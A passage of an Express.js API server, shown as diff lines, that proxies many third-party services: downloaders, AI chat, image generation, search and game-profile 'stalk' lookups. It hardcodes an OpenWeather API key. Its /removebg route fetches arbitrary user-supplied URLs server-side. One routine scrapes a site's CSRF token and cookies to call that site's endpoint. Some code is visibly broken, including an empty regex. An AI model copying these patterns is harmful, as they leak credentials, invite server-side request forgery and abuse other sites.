res.status(200).json({ + creator: "David Cyril", + status: 200, + success: true, + channel: spotifyData.nama_channel, + title: spotifyData.judul, + duration: `${spotifyData.durasi} seconds`, + thumbnail: spotifyData.gambar_kecil[0].url, + DownloadLink: spotifyData.url_audio_v1, + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "Spotify data could not be retrieved." + }); + } + } catch (error) { + console.error("Error fetching Spotify data:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + +const availableModels = [ + "miku", + "nahida", + "nami", + "ana", + "optimus_prime", + "goku", + "taylor_swift", + "elon_musk", + "mickey_mouse", + "kendrick_lamar", + "angela_adkinsh", + "eminem" +]; + +app.get("/voiceai", async (req, res) => { + const { text, model } = req.query; + + // Validate inputs + if (!text) { + return res.status(400).json({ error: "The 'text' parameter is required." }); + } + + if (!model || !availableModels.includes(model)) { + return res.status(400).json({ + error: `Invalid 'model' parameter. Available models: ${availableModels.join(", ")}` + }); + } + + try { + // Call the API + const response = await axios.get( + `https://api.agatz.xyz/api/voiceover?text=${encodeURIComponent(text)}&model=${model}` + ); + const data = response.data; + + if (data.error) { + return res.status(500).json({ error: data.error }); + } + + res.json({ + creator: "David Cyril", + status: 200, + success: true, + model: data.data.model, + voice_name: data.data.voice_name, + audio_url: data.data.oss_url + }); + } catch (error) { + console.error("Error fetching voiceover:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + +import shortid from 'shortid'; + + + +app.use(cors()); + + + + + +app.get("/pickupline", async (req, res) => { + try { + // Call the Popcat API for pickup lines + const response = await axios.get("https://api.popcat.xyz/pickuplines"); + const data = response.data; + + // Send the pickup line and contributor as a response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + pickupline: data.pickupline + }); + } catch (error) { + console.error("Error fetching pickup line:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/fact", async (req, res) => { + try { + // Fetch a random fact from the Popcat API + const response = await axios.get("https://api.popcat.xyz/fact"); + const data = response.data; + + // Respond with the fact + res.json({ + creator: "David Cyril", + status: 200, + success: true, + fact: data.fact + }); + } catch (error) { + console.error("Error fetching random fact:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + + + + + + +app.get("/instagram", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + error: "Please provide the Instagram URL in the `url` query parameter." + }); + } + + try { + const apiUrl = `https://api.paxsenix.biz.id/dl/ig?url=${encodeURIComponent(url)}`; + const response = await axios.get(apiUrl); + + if (response.data.ok) { + const { thumbnail, url: downloadUrl, type } = response.data.url[0]; + + res.status(200).json({ + creator: "David Cyril", + status: 200, + success: true, + type: type, + thumbnail: thumbnail, + downloadUrl: downloadUrl + }); + } else { + res.status(404).json({ + creator: "David Cyril", + error: "Instagram media could not be retrieved." + }); + } + } catch (error) { + console.error("Error fetching Instagram data:", error.message); + res.status(500).json({ + creator: "David Cyril", + error: "An error occurred while processing your request." + }); + } +}); + + + + + +// **Remove Background API (Displays Image Directly)** +app.get("/removebg", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).send("❌ Please provide an image URL."); + } + + try { + // Step 1: Download Image + const imageResponse = await axios.get(url, { responseType: "arraybuffer" }); + const contentType = imageResponse.headers["content-type"]; + + if (!imageResponse.data) throw new Error("Failed to download image."); + + // Step 2: Get Upload URL + const uploadResponse = await axios.get("https://aibackgroundremover.org/api/get-upload-url", { + headers: { + "accept": "*/*", + "referer": "https://aibackgroundremover.org/" + } + }); + + const { uploadUrl, publicUrl } = uploadResponse.data; + + // Step 3: Upload Image + await axios.put(uploadUrl, imageResponse.data, { + headers: { "Content-Type": contentType } + }); + + // Step 4: Request Background Removal + const removeResponse = await axios.post("https://aibackgroundremover.org/api/remove-bg", + { image: publicUrl }, + { headers: { "content-type": "application/json" } } + ); + + const { id } = removeResponse.data; + + // Step 5: Check Processing Status + let status; + let outputUrl; + do { + await new Promise(resolve => setTimeout(resolve, 2000)); + const statusCheck = await axios.get(`https://aibackgroundremover.org/api/check-status?id=${id}`, { + headers: { "accept": "*/*" } + }); + status = statusCheck.data.status; + outputUrl = statusCheck.data.output; + } while (status === "starting" || status === "processing"); + + if (status !== "succeeded") throw new Error("Failed to process image."); + + // **Step 6: Redirect to Processed Image** + res.redirect(outputUrl); + + } catch (error) { + console.error("Remove BG Error:", error.message); + res.status(500).send("❌ Failed to remove background."); + } +}); + + + +app.get("/apk", async (req, res) => { + const { name } = req.query; + + // Check if the `name` parameter is provided + if (!name) { + return res.status(400).json({ + status: false, + owner: "@DavidCyrilTech", + error: "Please provide the app name in the `name` query parameter." + }); + } + + try { + // Fetch the APK details using the provided name + const apiUrl = `https://bk9.fun/download/apk?id=${encodeURIComponent(name)}`; + const response = await axios.get(apiUrl); + + // Check if the API response is successful + if (response.data.status) { + res.status(200).json({ + status: true, + owner: "@DavidCyrilTech", + apk: { + name: response.data.BK9.name, + lastUpdated: response.data.BK9.lastup, + package: response.data.BK9.package, + icon: response.data.BK9.icon, + downloadLink: response.data.BK9.dllink + } + }); + } else { + res.status(404).json({ + status: false, + owner: "@DavidCyrilTech", + error: "APK not found for the provided name." + }); + } + } catch (error) { + console.error("Error fetching APK details:", error.message); + res.status(500).json({ + status: false, + owner: "@DavidCyrilTech", + error: "An error occurred while processing your request." + }); + } +}); + + + + +// Route to fetch and display the image +app.get("/diffusion", async (req, res) => { + const { prompt } = req.query; + + if (!prompt) { + return res.status(400).send("Please provide a prompt."); + } + + try { + // API URL with the provided prompt + const apiUrl = `https://api.siputzx.my.id/api/ai/stable-diffusion?prompt=${encodeURIComponent(prompt)}`; + + // Fetch the image from the API + const response = await axios.get(apiUrl, { responseType: "arraybuffer" }); + + // Set the correct headers to display the image in the browser + res.setHeader("Content-Type", "image/png"); + res.send(response.data); + } catch (error) { + console.error("Error fetching the image:", error.message); + res.status(500).send("Failed to fetch the image. Please try again."); + } +}); + + + + + + +// Translator API +app.get("/tools/translate", async (req, res) => { + const { text, to } = req.query; + + if (!text || !to) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide both text and target language (to)." + }); + } + + try { + // Perform translation + const result = await translate(text, { to }); + + res.json({ + creator: "David Cyril", + success: true, + original_text: text, + translated_text: result.text, + language: to + }); + + } catch (error) { + console.error("Translation Error:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to translate text. Please try again later." + }); + } +}); + + + + +app.get("/flux", async (req, res) => { + const { prompt } = req.query; + + if (!prompt) { + return res.status(400).send("Please provide a prompt."); + } + + try { + // Fetch the image from the Flux API + const response = await axios.get(`https://api.siputzx.my.id/api/ai/flux?prompt=${encodeURIComponent(prompt)}`, { + responseType: "arraybuffer", + }); + + // Set the correct headers to display the image in the browser + res.setHeader("Content-Type", "image/png"); + res.send(response.data); + } catch (error) { + console.error("Error fetching the image:", error.message); + res.status(500).send("Failed to fetch the image. Please try again."); + } +}); + + + +// Ephoto API Endpoint Mapping + + + + + +app.get("/githubStalk", async (req, res) => { + const { user } = req.query; + + if (!user) { + return res.status(400).json({ error: "Please provide a GitHub username." }); + } + + try { + // Fetch data from the API + const response = await axios.get(`https://api.siputzx.my.id/api/stalk/github?user=${encodeURIComponent(user)}`); + const data = response.data; + + if (!data.status) { + return res.status(404).json({ error: "User not found." }); + } + + // Return the user data as plain JSON + res.json({ + creator: "David Cyril", + username: data.data.username, + nickname: data.data.nickname, + bio: data.data.bio, + id: data.data.id, + profile_pic: data.data.profile_pic, + url: data.data.url, + type: data.data.type, + location: data.data.location, + public_repositories: data.data.public_repo, + followers: data.data.followers, + following: data.data.following, + created_at: data.data.created_at, + updated_at: data.data.updated_at + }); + } catch (error) { + console.error("Error fetching data:", error.message); + res.status(500).json({ error: "Failed to fetch data. Please try again later." }); + } +}); + + + + +const OPENWEATHER_API_KEY = '060a6bcfa19809c2cd4d97a212b19273'; + +app.get('/weather', async (req, res) => { + const { city } = req.query; + + if (!city) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a location using the `city` query parameter." + }); + } + + try { + const response = await axios.get(`https://api.openweathermap.org/data/2.5/weather`, { + params: { + q: city, + units: "metric", + appid: OPENWEATHER_API_KEY, + language: "en" + } + }); + + const weatherData = response.data; + const result = { + creator: "David Cyril", + success: true, + data: { + location: weatherData.name, + country: weatherData.sys.country, + weather: weatherData.weather[0].main, + description: weatherData.weather[0].description, + temperature: `${weatherData.main.temp} °C`, + feels_like: `${weatherData.main.feels_like} °C`, + pressure: `${weatherData.main.pressure} hPa`, + humidity: `${weatherData.main.humidity}%`, + wind_speed: `${weatherData.wind.speed} m/s`, + coordinates: { + latitude: weatherData.coord.lat, + longitude: weatherData.coord.lon + } + } + }; + + res.status(200).json(result); + } catch (error) { + console.error("Error fetching weather data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch weather data. Please try again later." + }); + } +}); + + + + +app.get('/googleimage', async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `query` parameter. Example: /gimage?query=cats" + }); + } + + try { + // Fetch data from the provided API + const response = await axios.get(`https://api.vreden.web.id/api/gimage?query=${encodeURIComponent(query)}`); + const data = response.data; + + if (data.status !== 200 || !data.result || data.result.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No images found for the given query." + }); + } + + // Construct response + const responseData = { + creator: "David Cyril", + success: true, + query: query, + results: data.result + }; + + res.status(200).json(responseData); + } catch (error) { + console.error("Error fetching Google Image Search data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching image search data. Please try again later." + }); + } +}); + +app.get('/ffstalk', async (req, res) => { + const { id } = req.query; + + if (!id) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a Free Fire account ID using the `id` query parameter. Example: /ffstalk?id=12345678" + }); + } + + try { + // Fetch data from the provided API + const response = await axios.get(`https://api.vreden.web.id/api/ffstalk?id=${id}`); + const data = response.data; + + if (data.status !== 200) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No account found with the provided ID." + }); + } + + const result = data.result; + + // Construct response + const responseData = { + creator: "David Cyril", + success: true, + account: { + id: result.account.id, + name: result.account.name, + level: result.account.level, + xp: result.account.xp, + region: result.account.region, + likes: result.account.like, + bio: result.account.bio, + created_at: result.account.create_time, + last_login: result.account.last_login, + honor_score: result.account.honor_score, + booyah_pass: result.account.booyah_pass, + booyah_pass_badge: result.account.booyah_pass_badge, + evo_access_badge: result.account.evo_access_badge, + equipped_title: result.account.equipped_title, + BR_points: result.account.BR_points, + CS_points: result.account.CS_points, + }, + pet_info: { + name: result.pet_info.name, + level: result.pet_info.level, + type: result.pet_info.type, + xp: result.pet_info.xp, + }, + guild: { + name: result.guild.name, + id: result.guild.id, + level: result.guild.level, + member_count: result.guild.member, + capacity: result.guild.capacity, + }, + guild_leader: { + id: result.ketua_guild.id, + name: result.ketua_guild.name, + level: result.ketua_guild.level, + xp: result.ketua_guild.xp, + likes: result.ketua_guild.like, + last_login: result.ketua_guild.last_login, + BR_points: result.ketua_guild.BR_points, + CS_points: result.ketua_guild.CS_points, + } + }; + + res.status(200).json(responseData); + } catch (error) { + console.error("Error fetching Free Fire data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching Free Fire data. Please try again later." + }); + } +}); + + + + +// Search Emoji Endpoint +app.get("/search/semoji", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `q` parameter.", + }); + } + + try { + const response = await axios.get(`https://bk9.fun/search/semoji?q=${encodeURIComponent(text)}`); + const { BK9 } = response.data; + + if (!BK9 || BK9.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No emojis found for the provided query.", + }); + } + + // Format the response + res.json({ + creator: "David Cyril", + success: true, + result: BK9, + }); + } catch (error) { + console.error("Error fetching emoji search results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Steam Search Endpoint +app.get("/search/steam", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `q` parameter.", + }); + } + + try { + const response = await axios.get(`https://bk9.fun/search/Steam?q=${encodeURIComponent(text)}`); + const { BK9 } = response.data; + + if (!BK9 || BK9.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No games found for the provided query.", + }); + } + + // Format the response + res.json({ + creator: "David Cyril", + success: true, + result: BK9.map((game) => ({ + title: game.title, + img: game.img, + link: game.link, + release: game.release.trim(), + price: game.price || "Free / Not Listed", + rating: game.rating || "No Ratings Yet", + })), + }); + } catch (error) { + console.error("Error fetching Steam search results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + + + + + +app.get("/youtube/search", async (req, res) => { + const { query } = req.query; + + if (!query) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a search query." + }); + } + + try { + // Perform the YouTube search + const results = await ytSearch(query); + + if (!results.videos.length) { + return res.json({ + creator: "David Cyril", + status: false, + message: "No results found." + }); + } + + // Extracting relevant data + const videos = results.videos.slice(0, 10).map(video => ({ + title: video.title, + videoId: video.videoId, + url: video.url, + thumbnail: video.thumbnail, + views: video.views, + duration: video.duration.timestamp, + published: video.ago + })); + + // Send response + res.json({ + creator: "David Cyril", + status: true, + results: videos + }); + + } catch (error) { + console.error("Error fetching YouTube search:", error.message); + res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while fetching YouTube search results." + }); + } +}); + + + +app.get("/youtube/mp4", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + status: false, + message: "Please provide a valid YouTube URL." + }); + } + + try { + // Fetch video details from the external API + const response = await axios.get(`https://bk9.fun/download/youtube2?url=${encodeURIComponent(url)}`); + const data = response.data.BK9[0]; + + if (!data || !data.mediaLink) { + return res.status(500).json({ + creator: "David Cyril", + status: false, + message: "Failed to fetch download link. Please try again later." + }); + } + + // Construct the response in the required format + res.json({ + creator: "David Cyril", + status: true, + result: { + title: data.title || "Unknown Title", + thumbnail: `https://img.youtube.com/vi/${getYouTubeVideoId(url)}/hqdefault.jpg`, // Get YouTube thumbnail + url: data.mediaLink + } + }); + + } catch (error) { + console.error("Error fetching YouTube MP4 data:", error.message); + return res.status(500).json({ + creator: "David Cyril", + status: false, + message: "An error occurred while processing your request." + }); + } +}); + +// Extract YouTube video ID from URL +function getYouTubeVideoId(url) { + const match = url.match(/(?:youtu\.be\/|youtube\.com\/(?:.*v=|.*\/)([^&?#]+))/); + return match ? match[1] : "default"; +} + + + + +// Facebook Video Downloader +app.get("/download/aio", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a video URL using the `url` parameter.", + }); + } + + try { + const response = await axios.get(`https://bk9.fun/download/alldownload?url=${encodeURIComponent(url)}`); + const { BK9 } = response.data; + + if (!BK9 || (!BK9.low && !BK9.high)) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "Unable to fetch the download links. Please check the video URL.", + }); + } + + // Respond with download links + res.json({ + creator: "David Cyril", + success: true, + video: { + title: BK9.title || "Unknown Title", + low_quality: BK9.low, + high_quality: BK9.high, + }, + }); + } catch (error) { + console.error("Error fetching Xnxx Downloader links:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Sticker Search Endpoint +app.get("/search/sticker", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `text` parameter.", + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/search/sticker?text=${encodeURIComponent(text)}`); + const { result } = response.data; + + if (!result || !result.sticker_url || result.sticker_url.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No stickers found for the provided query.", + }); + } + + // Format the response + res.json({ + creator: "David Cyril", + success: true, + result: { + title: result.title, + stickers: result.sticker_url, + }, + }); + } catch (error) { + console.error("Error fetching sticker search results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + +// SoundCloud Search Endpoint +app.get("/search/soundcloud", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `message` parameter.", + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/soundcloud?message=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query.", + }); + } + + // Format the response + const results = data.map((item) => ({ + title: item.judul, + link: item.link, + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results, + }); + } catch (error) { + console.error("Error fetching SoundCloud results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// Wallpaper Search Endpoint +app.get("/search/wallpaper", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `text` parameter." + }); + } + + try { + const response = await axios.get(`https://api.maskser.me/api/search/wallpaper?text=${encodeURIComponent(text)}`); + const { result } = response.data; + + if (!result || result.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No wallpapers found for the provided query." + }); + } + + // Format the response + const wallpapers = result.map((item) => ({ + title: item.title || "Unknown Title", + type: item.type || "Unknown Type", + source: item.source || "Unknown Source", + image: item.image + })); + + res.json({ + creator: "David Cyril", + success: true, + result: wallpapers + }); + } catch (error) { + console.error("Error fetching wallpapers:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + +// Pinterest Search Endpoint +app.get("/search/pinterest", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `text` parameter.", + }); + } + + try { + const response = await axios.get(`https://itzpire.com/search/pinterest?text=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query.", + }); + } + + // Format the response + const results = data.map((item) => ({ + uploader: item.upload_by, + fullName: item.fullname, + followers: item.followers, + caption: item.caption, + image: item.image, + source: item.source, + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results, + }); + } catch (error) { + console.error("Error fetching Pinterest results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later.", + }); + } +}); + + + +// List of supported models +const models = [ + "deepseek-ai/DeepSeek-V3", + "deepseek-ai/DeepSeek-R1", + "mistralai/Mistral-Small-24B-Instruct-2501", + "deepseek-ai/deepseek-llm-67b-chat", + "databricks/dbrx-instruct", + "Qwen/QwQ-32B-Preview", + "NousResearch/Nous-Hermes-2-Mixtral-8x7B-DPO" +]; + + +const generateUserId = () => Math.floor(100000 + Math.random() * 900000); + +// **API Endpoint to Chat with AI** +app.get("/ai/blackbox", async (req, res) => { + const { text, model } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query." + }); + } + + // Check if model is valid, otherwise use default + const selectedModel = models.includes(model) ? model : models[0]; + const userId = generateUserId(); // Generate random User ID + + try { + const response = await axios.post(BLACKBOX_API, { + messages: [{ content: text, role: "user" }], + model: selectedModel, + max_tokens: 1024 + }, { + headers: { "Content-Type": "application/json" } + }); + + // Get AI Response + const aiResponse = response.data; + + res.json({ + creator: "David Cyril", + success: true, + model: selectedModel, + userId, + response: aiResponse + }); + } catch (error) { + console.error("Error fetching AI response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching the AI response." + }); + } +}); + +// **API Endpoint to List Available Models** +app.get("/ai/blackbox/models", (req, res) => { + res.json({ + creator: "David Cyril", + success: true, + available_models: models + }); +}); + + + +// Function to get CSRF token and cookies +async function getToken() { + try { + const response = await axios.get("https://www.gempaytopup.com"); + const cookies = response.headers["set-cookie"]; + const joinedCookies = cookies ? cookies.join("; ") : null; + + const csrfTokenMatch = response.data.match(//); + const csrfToken = csrfTokenMatch ? csrfTokenMatch[1] : null; + + if (!csrfToken || !joinedCookies) { + throw new Error("Failed to retrieve CSRF token or cookies."); + } + + return { csrfToken, joinedCookies }; + } catch (error) { + console.error("❌ Error fetching CSRF token or cookies:", error.message); + throw error; + } +} + +// Function to fetch Mobile Legends profile data +async function mlStalk(userId, zoneId) { + try { + const { csrfToken, joinedCookies } = await getToken(); + + const payload = { uid: userId, zone: zoneId }; + const { data } = await axios.post( + "https://www.gempaytopup.com/stalk-ml", + payload, { + headers: { + "X-CSRF-Token": csrfToken, + "Content-Type": "application/json", + "Cookie": joinedCookies, + }, + } + ); + + return data; + } catch (error) { + console.error("❌ Error fetching ML data:", error.message); + throw error; + } +} + +// API Endpoint +app.get("/game/mlstalk", async (req, res) => { + const { uid, zone } = req.query; + + if (!uid || !zone) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide both 'uid' and 'zone' parameters." + }); + } + + try { + const result = await mlStalk(uid, zone); + res.json({ + creator: "David Cyril", + success: true, + data: result + }); + } catch (error) { + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to retrieve Mobile Legends profile data." + }); + } +}); + +app.get("/ai/gpt44", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a text query.", + }); + } + + try { + const userId = generateUserId(); // Generate a random userid + const apiUrl = `https://api.aboud-coding.store/api/ai/gpt-4o-mini-v2?prompt=${encodeURIComponent(text)}&userid=${userId}`; + + // Fetch AI response + const response = await axios.get(apiUrl); + const { gpt } = response.data; + + if (!gpt) { + return res.status(500).json({ + creator: "David Cyril", + success: false, + message: "Failed to fetch AI response. Please try again later.", + }); + } + + // Return AI response + res.json({ + creator: "David Cyril", + success: true, + message: gpt, + }); + } catch (error) { + console.error("Error fetching AI response:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching the AI response.", + }); + } +}); + + + + + + + +// XVideo Downloader Endpoint +app.get("/search/xvideo", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `message` parameter." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/xvideo?message=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query." + }); + } + + // Format the response + const results = data.map((video) => ({ + title: video.title, + duration: video.duration, + quality: video.quality || "Unknown", + thumbnail: video.thumb, + url: video.url + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results + }); + } catch (error) { + console.error("Error fetching XVideo results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + +// Spotify Search Endpoint +app.get("/search/spotify", async (req, res) => { + const { text } = req.query; + + if (!text) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `message` parameter." + }); + } + + try { + const response = await axios.get(`https://api.agatz.xyz/api/spotify?message=${encodeURIComponent(text)}`); + const { data } = response.data; + + if (!data || data.length === 0) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query." + }); + } + + // Format the response + const results = data.map((track) => ({ + trackNumber: track.trackNumber, + trackName: track.trackName, + artistName: track.artistName, + albumName: track.albumName, + duration: track.duration, + previewUrl: track.previewUrl || "Not available", + externalUrl: track.externalUrl + })); + + res.json({ + creator: "David Cyril", + success: true, + result: results + }); + } catch (error) { + console.error("Error fetching Spotify results:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + +// Playstore Search Endpoint +app.get("/search/playstore", async (req, res) => { + const { q } = req.query; + + if (!q) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a search query using the `q` parameter." + }); + } + + try { + const response = await axios.get(`https://bk9.fun/search/playstore?q=${encodeURIComponent(q)}`); + const { BK9 } = response.data; + + if (!BK9) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: "No results found for the provided query." + }); + } + + res.json({ + creator: "David Cyril", + success: true, + result: { + title: BK9.title, + summary: BK9.summary, + installs: BK9.installs, + score: BK9.score, + price: BK9.price, + size: BK9.size, + androidVersion: BK9.androidVersion, + developer: BK9.developer, + released: BK9.released, + updated: BK9.updated, + version: BK9.version, + icon: BK9.icon, + screenshots: BK9.screenshots, + url: BK9.url + } + }); + } catch (error) { + console.error("Error fetching Playstore data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while processing your request. Please try again later." + }); + } +}); + + + + +app.get('/quran', async (req, res) => { + const { surah } = req.query; + + if (!surah) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide the surah name or number using the `surah` query parameter. Example: /quran?surah=1 or /quran?surah=Al-Fatiha" + }); + } + + try { + // Fetch all surah data + const surahListResponse = await axios.get('https://quran-endpoint.vercel.app/quran'); + const surahList = surahListResponse.data.data; + + // Find the requested surah + const surahData = surahList.find(s => + s.number === Number(surah) || + s.asma.ar.short.toLowerCase() === surah.toLowerCase() || + s.asma.en.short.toLowerCase() === surah.toLowerCase() + ); + + if (!surahData) { + return res.status(404).json({ + creator: "David Cyril", + success: false, + message: `No surah found with the name or number "${surah}"` + }); + } + + // Fetch surah details + const surahDetailsResponse = await axios.get(`https://quran-endpoint.vercel.app/quran/${surahData.number}`); + const surahDetails = surahDetailsResponse.data.data; + + // Construct the result + const result = { + creator: "David Cyril", + success: true, + surah: { + number: surahDetails.number, + name: { + arabic: surahDetails.asma.ar.long, + english: surahDetails.asma.en.long + }, + type: surahDetails.type.en, + ayahCount: surahDetails.ayahCount, + tafsir: { + id: surahDetails.tafsir.id + }, + recitation: surahDetails.recitation.full + } + }; + + res.status(200).json(result); + } catch (error) { + console.error("Error fetching Quran data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching Quran data. Please try again later." + }); + } +}); + + + + +app.get('/bible', async (req, res) => { + const { reference } = req.query; + + if (!reference) { + return res.status(400).json({ + creator: "David Cyril", + success: false, + message: "Please provide a reference using the `reference` query parameter. Example: /bible?reference=john 3:16" + }); + } + + try { + // Fetch Bible content from the external Bible API + const response = await axios.get(`https://bible-api.com/${encodeURIComponent(reference)}`); + const data = response.data; + + // Format the response + const result = { + creator: "David Cyril", + success: true, + reference: data.reference, + translation: data.translation_name, + verses_count: data.verses.length, + text: data.text + }; + + res.status(200).json(result); + } catch (error) { + console.error("Error fetching Bible data:", error.message); + res.status(500).json({ + creator: "David Cyril", + success: false, + message: "An error occurred while fetching Bible content. Please check the reference and try again." + }); + } +}); + + + + + +app.get("/pinterest", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a Pinterest URL." }); + } + + try { + // Fetch data from the API + const response = await axios.get(`https://api.agatz.xyz/api/pinterest`, { + params: { url } + }); + const data = response.data; + + if (data.status !== 200) { + return res.status(500).json({ error: "Failed to fetch video." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + original_url: data.data.url, + download_url: data.data.result + }); + } catch (error) { + console.error("Error fetching Pinterest video:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/shortenUrl", async (req, res) => { + const { url } = req.query; + + if (!url) { + return res.status(400).json({ error: "Please provide a URL to shorten." }); + } + + try { + // Fetch data from the URL shortener API + const response = await axios.get(`https://api.paxsenix.biz.id/tools/urlshorter?url=${encodeURIComponent(url)}`); + const data = response.data; + + if (!data.ok) { + return res.status(500).json({ error: "Failed to shorten the URL. Please try again." }); + } + + // Return shortened URL details + res.json({ + creator: "David Cyril", + status: 200, + success: true, + original_url: url, + shortened_url: data.url + }); + } catch (error) { + console.error("Error shortening URL:", error.message); + res.status(500).json({ error: "Failed to shorten URL. Please try again later." }); + } +}); + + + + +app.get("/blackbox", async (req, res) => { + const { q } = req.query; + + if (!q) { + return res.status(400).json({ error: "Please provide a query using the 'q' parameter." }); + } + + try { + // Send a request to the Blackbox API + const response = await axios.get(`https://bk9.fun/ai/blackbox?q=${encodeURIComponent(q)}`); + const data = response.data; + + if (!data.status) { + return res.status(500).json({ error: "Failed to fetch response from Blackbox ." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + response: data.BK9 + }); + } catch (error) { + console.error("Error fetching Blackbox response:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + +app.get("/couplepp", async (req, res) => { + try { + // Send request to the API + const response = await axios.get(`https://api.maskser.me/api/randomgambar/couplepp`); + const data = response.data; + + if (!data.status) { + return res.status(500).json({ error: "Failed to fetch couple profile pictures." }); + } + + // Return the API response + res.json({ + creator: "David Cyril", + status: 200, + success: true, + male: data.result.male, + female: data.result.female + }); + } catch (error) { + console.error("Error fetching couple profile pictures:", error.message); + res.status(500).json({ error: "An error occurred. Please try again later." }); + } +}); + + + + + +app.get("/imgscan", async (req, res) => { + + const q = "who is this" + const { url } = req.query; 